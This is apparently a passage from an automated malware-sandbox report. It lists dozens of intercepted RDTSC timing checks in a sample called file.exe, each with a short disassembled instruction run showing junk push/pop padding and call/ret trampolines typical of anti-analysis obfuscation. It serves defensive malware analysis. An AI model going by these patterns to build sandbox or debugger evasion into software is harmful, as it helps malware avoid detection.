Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31322 second address: F31326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31326 second address: F3136D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push ecx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 jmp 00007FE0F4DC3CB9h 0x00000017 jmp 00007FE0F4DC3CB4h 0x0000001c popad 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push esi 0x00000021 push ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3136D second address: F31381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jnl 00007FE0F4D44906h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31381 second address: F31411 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE0F4DC3CA8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 jnl 00007FE0F4DC3CACh 0x0000002a add di, 51BAh 0x0000002f jmp 00007FE0F4DC3CB7h 0x00000034 push 00000003h 0x00000036 push ecx 0x00000037 stc 0x00000038 pop edx 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c adc edx, 4748ABB4h 0x00000042 pop edx 0x00000043 push 00000003h 0x00000045 jmp 00007FE0F4DC3CB8h 0x0000004a push 6424F300h 0x0000004f jng 00007FE0F4DC3CB4h 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31411 second address: F31417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FB29 second address: F4FB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FC85 second address: F4FC8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FC8B second address: F4FC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FC8F second address: F4FCB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FE0F4D4490Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE0F4D4490Bh 0x00000010 push edi 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCB2 second address: F4FCBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCBA second address: F4FCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FE42 second address: F4FE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FE48 second address: F4FE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50274 second address: F5027A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50C1F second address: F50C29 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE0F4D44906h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44E71 second address: F44E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F207E5 second address: F207FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FE0F4D44906h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F207FB second address: F2080B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE0F4DC3CA6h 0x0000000a ja 00007FE0F4DC3CA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2080B second address: F20819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FE0F4D44912h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50D6A second address: F50D6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5136F second address: F51379 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE0F4D44906h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F514E7 second address: F514FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007FE0F4DC3CA6h 0x0000000b push edi 0x0000000c pop edi 0x0000000d jo 00007FE0F4DC3CA6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F514FD second address: F51507 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE0F4D44912h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51507 second address: F5150D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5150D second address: F5152F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4D4490Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FE0F4D4492Dh 0x00000011 jl 00007FE0F4D44908h 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5152F second address: F51544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F517D5 second address: F517FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44915h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE0F4D4490Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F517FD second address: F51823 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE0F4DC3CBCh 0x00000008 jmp 00007FE0F4DC3CB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FE0F4DC3CA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51B3C second address: F51B42 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57851 second address: F57855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57855 second address: F57867 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FE0F4D44906h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58EC6 second address: F58ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D9A6 second address: F5D9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D9AC second address: F5D9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FE0F4DC3CB8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D9CF second address: F5D9EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44918h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D9EB second address: F5D9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D9F1 second address: F5DA08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44911h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DA08 second address: F5DA0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DA0C second address: F5DA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FE0F4D44915h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DA2F second address: F5DA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DA37 second address: F5DA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DCCD second address: F5DCD7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DCD7 second address: F5DCE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE0F4D44906h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5E10E second address: F5E114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61778 second address: F617A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE0F4D44912h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FE0F4D4490Ch 0x00000017 ja 00007FE0F4D44906h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F617A2 second address: F617D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FE0F4DC3CA6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FE0F4DC3CB3h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007FE0F4DC3CA6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F617D1 second address: F617D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61CB8 second address: F61CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE0F4DC3CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61CC2 second address: F61CDE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FE0F4D4490Ah 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61CDE second address: F61CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61CE2 second address: F61CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F626FF second address: F62703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F62884 second address: F62888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F62888 second address: F6288C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F629A6 second address: F629C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE0F4D44918h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F629C6 second address: F629FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D17E4h], esi 0x0000000e xchg eax, ebx 0x0000000f js 00007FE0F4DC3CBEh 0x00000015 jmp 00007FE0F4DC3CB8h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64B7A second address: F64B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64270 second address: F64274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6569A second address: F656F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D4490Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D2472h], esi 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D17E4h], esi 0x00000018 mov esi, dword ptr [ebp+122D29E1h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007FE0F4D44908h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000017h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov esi, dword ptr [ebp+122D2BA2h] 0x00000040 push eax 0x00000041 pushad 0x00000042 push edi 0x00000043 ja 00007FE0F4D44906h 0x00000049 pop edi 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F656F4 second address: F656FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65464 second address: F65469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F661C8 second address: F661CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67718 second address: F6771E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CDD7 second address: F6CDE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67F9B second address: F67F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68A97 second address: F68A9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68A9D second address: F68AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B7C9 second address: F1B7DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jnl 00007FE0F4DC3CA6h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68AA3 second address: F68AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B7DC second address: F1B7E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F700EE second address: F7015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D4490Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edi 0x0000000d popad 0x0000000e nop 0x0000000f mov dword ptr [ebp+12464DD6h], eax 0x00000015 and di, 3745h 0x0000001a push 00000000h 0x0000001c mov di, si 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebp 0x00000024 call 00007FE0F4D44908h 0x00000029 pop ebp 0x0000002a mov dword ptr [esp+04h], ebp 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc ebp 0x00000037 push ebp 0x00000038 ret 0x00000039 pop ebp 0x0000003a ret 0x0000003b xor bh, 0000007Ch 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FE0F4D44918h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F398 second address: F6F3B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7015A second address: F70170 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007FE0F4D44906h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007FE0F4D4490Eh 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F3B4 second address: F6F3BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE0F4DC3CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F3BE second address: F6F3CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F712C0 second address: F712C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F712C6 second address: F712CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70377 second address: F7037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71388 second address: F713A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE0F4D44911h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7226A second address: F72289 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE0F4DC3CB4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F714F7 second address: F71510 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE0F4D44908h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jg 00007FE0F4D44906h 0x00000015 pop edi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71510 second address: F71516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7321E second address: F7323B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44919h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7323B second address: F73241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73241 second address: F73245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74472 second address: F744E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE0F4DC3CAAh 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+12452E5Ch], edx 0x00000014 mov dword ptr [ebp+122D3442h], esi 0x0000001a push 00000000h 0x0000001c sbb ebx, 62E97087h 0x00000022 push 00000000h 0x00000024 pushad 0x00000025 jmp 00007FE0F4DC3CB8h 0x0000002a mov ebx, 52FD5D27h 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 push esi 0x00000032 jmp 00007FE0F4DC3CB9h 0x00000037 pop esi 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push ebx 0x0000003c jmp 00007FE0F4DC3CAAh 0x00000041 pop ebx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F744E5 second address: F744EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F745DD second address: F7466F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE0F4DC3CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FE0F4DC3CB3h 0x00000010 jmp 00007FE0F4DC3CADh 0x00000015 popad 0x00000016 nop 0x00000017 sub bl, FFFFFFF2h 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007FE0F4DC3CA8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b mov edi, dword ptr [ebp+122D27D5h] 0x00000041 xor bh, FFFFFF92h 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b mov dword ptr [ebp+122D1822h], ebx 0x00000051 mov eax, dword ptr [ebp+122D14E1h] 0x00000057 push edi 0x00000058 pop ebx 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push ecx 0x0000005e call 00007FE0F4DC3CA8h 0x00000063 pop ecx 0x00000064 mov dword ptr [esp+04h], ecx 0x00000068 add dword ptr [esp+04h], 0000001Ch 0x00000070 inc ecx 0x00000071 push ecx 0x00000072 ret 0x00000073 pop ecx 0x00000074 ret 0x00000075 push eax 0x00000076 pushad 0x00000077 push eax 